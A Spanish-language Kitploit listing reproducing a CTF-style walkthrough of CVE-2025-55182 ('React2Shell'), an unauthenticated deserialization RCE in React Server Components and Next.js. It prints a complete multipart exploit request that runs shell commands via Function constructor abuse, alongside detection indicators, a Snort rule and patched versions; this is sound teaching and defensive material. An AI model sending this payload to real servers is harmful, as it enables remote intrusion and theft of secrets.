Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: deserialización insegura no autenticada en React Server Components que conduce a una ejecución remota de código fiable a través del protocolo Flight. | Kitploit
Herramientas/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: deserialización insegura no autenticada en React Server Components que conduce a una ejecución remota de código fiable a través del protocolo Flight.

Ver Repositorio
71hace 1 mesAún no revisado

🎯 React2Shell (CVE-2025-55182): De Componentes de Servidor React a RCE Completo

Dificultad: Intermedio → Avanzado
Categoría: Explotación Web | Deserialización | RCE

Cover


🧩 Tarea 1: Introducción — Por qué React2Shell es un gran problema

CVE-2025-55182, apodado React2Shell, es una de esas vulnerabilidades que instantáneamente pone nerviosos a los defensores 😬. Descubierta en diciembre de 2025, tiene una puntuación CVSS de 10.0, lo que ya te dice que no es un error de caso límite.

En esencia, esta vulnerabilidad afecta a React Server Components (RSC) y a frameworks construidos sobre ellos — más notablemente Next.js. ¿La parte aterradora?

👉 Ejecución Remota de Código sin autenticación (RCE) 👉 Una única solicitud HTTP manipulada 👉 Las configuraciones por defecto son vulnerables

Sin inicio de sesión. Sin permisos especiales. Solo una solicitud bien formada.

🔥 Paquetes React afectados

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Versiones corregidas

  • 19.0.1
  • 19.1.2
  • 19.2.1

Esta sala nos guía a través de por qué existe este error, cómo se explota y qué pueden hacer los defensores al respecto.

Flag: No es necesaria respuesta.


🧠 Tarea 2: React Server Components y el Protocolo Flight

Antes de la explotación, necesitamos claridad arquitectónica.

¿Qué son React Server Components?

React Server Components (introducidos en React 19) permiten que partes de una aplicación React se ejecuten en el servidor, no en el navegador. Esto significa:

  • El cómputo pesado se queda en el lado del servidor ⚙️
  • El cliente recibe solo la salida renderizada 📦
  • Mejor rendimiento, paquetes más pequeños

Entra: React Flight ✈️

La comunicación entre cliente y servidor ocurre a través del protocolo React Flight. Este protocolo serializa datos en el cliente y los deserializa en el servidor.

Usa marcadores especiales:

  • $@ → Referencia de chunk

  • $B → Referencia de blob

  • Rutas de propiedades mediante notación de dos puntos Ejemplo:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ Y esta lógica de serialización es exactamente donde las cosas salen mal.

Pregunta: ¿Qué símbolo denota una referencia de blob? ✅ Respuesta: $B


💣 Tarea 3: La Vulnerabilidad Central — Deserialización Insegura

En el corazón de CVE-2025-55182 se encuentra una clásica falla de deserialización insegura.

Veamos el patrón vulnerable (no recortar 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... lógica adicional ...  
 return moduleExports[metadata[2]];  // LÍNEA VULNERABLE  
}  

¿Por qué es peligroso?

En JavaScript, la notación de corchetes:

root@kitploit:~
obj[someKey]

no limita el acceso solo a propiedades exportadas. Recorre toda la cadena de prototipos.

Ahora viene la visión crítica 👀:

  • Toda función JavaScript tiene un .constructor
  • constructor apunta al constructor Function
  • Function("código") = ejecución arbitraria de JS

Armando referencias Flight

Debido a que el protocolo Flight permite rutas separadas por dos puntos, un atacante puede enviar:

root@kitploit:~
$1:constructor:constructor

Que se resuelve en:

  1. Obtener chunk del módulo
  2. Acceder a .constructor
  3. Acceder a .constructor nuevamente → Function

En este punto, juego terminado 🎮.

Flag: No es necesaria respuesta.


🧨 Tarea 4: Cadena de Explotación — Del Error al RCE

Ahora desglosemos el PoC de maple3142, paso a paso.

🧩 Etapa 1: Objeto Chunk Falso

El atacante envía una solicitud multipart que contiene un objeto Chunk falso:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Este objeto imita la estructura interna de Chunk de React. Al apuntar then a Chunk.prototype.then, React es engañado para esperar lógica controlada por el atacante.

🧩 Etapa 2: Abuso del Manejador de Blob

El marcador $B1337 activa el manejador de deserialización de Blob, que internamente ejecuta:

root@kitploit:~
response._formData.get(response._prefix + id)

Pero envenenamos:

  • _formData.get → Function
  • _prefix → JS malicioso

Ejecución resultante:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Se logró la ejecución arbitraria de JavaScript.

🧩 Etapa 3: Ejecución de Comandos del SO

El PoC ejecuta:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

Esto se puede reemplazar trivialmente con:

  • Shells reversas
  • Exfiltración de secretos
  • Lectura de archivos
  • Robo de credenciales en la nube ☠️

Flag: No es necesaria respuesta.


📦 Tarea 5: Desglose Completo del PoC HTTP

Aquí está la solicitud de exploit completa (textualmente, sin recortar):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…el cuerpo multipart continúa…)

Cosas clave a notar 👇

  • El encabezado Next-Action activa Server Actions
  • multipart/form-data es obligatorio
  • $@0 crea una auto-referencia
  • $B1337 activa la lógica de Blob
  • constructor:constructor lleva a Function

Esto no es accidental — es una cadena precisamente diseñada.


🌍 Ecosistema Afectado

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • Todos los 15.x
    • Principios de 16.x
  • Otros: React Router (RSC), Waku, Redwood SDK

📊 Investigación de Wiz: 39% de los entornos en la nube expuestos 🌐 Shodan: 571k+ servidores React, 444k+ Next.js

Eso es… mucho 😶


🧪 Tarea 6: Explotación en el Laboratorio

Primero en Repeater, crea una nueva solicitud HTTP y selecciona el objetivo.

1

Usando Burp Suite Repeater, enviamos el payload:

root@kitploit:~
execSync('id')

2

Y después:

root@kitploit:~
execSync('whoami')

3

✅ Resultados

  • Usuario: ubuntu
  • Bandera: {React-19.2.0}

Explotación limpia, confiable y repetible 💀


🛡️ Tarea 7: Detección y Defensa

Buenas noticias para los defensores 👮‍♂️ — la explotación deja huellas.

🔎 Indicadores de Ataque

  • Encabezado Next-Action
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

Estos nunca deberían aparecer en tráfico de usuario normal.


🚨 Regla Snort (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — Encontrar Paquetes Vulnerables

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

Perfecto para:

  • Tuberías CI/CD
  • Auditorías de endpoints
  • Verificaciones previas a producción

4


🧠 Reflexiones Finales

React2Shell es un ejemplo de libro de texto de:

  • Por qué la deserialización insegura es mortal
  • Cómo las cadenas de prototipos pueden traicionarte
  • Por qué las “configuraciones por defecto” son peligrosas

Una vez instaladas las versiones parcheadas y seguidas las recomendaciones de npm audit, el exploit muere por completo ✅.

⚠️ Nunca pruebes esto fuera de laboratorios autorizados.
🔥 Siempre parchea rápido.
🧠 Siempre entiende por qué existe un error — no solo cómo explotarlo.


⭐ Sígueme y Conéctate

Si disfrutaste este artículo o quieres mantenerte conectado con mi trabajo en ciberseguridad, CTFs y VAPT:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

Feliz hacking — responsablemente 🗿🚀


Descargar herramienta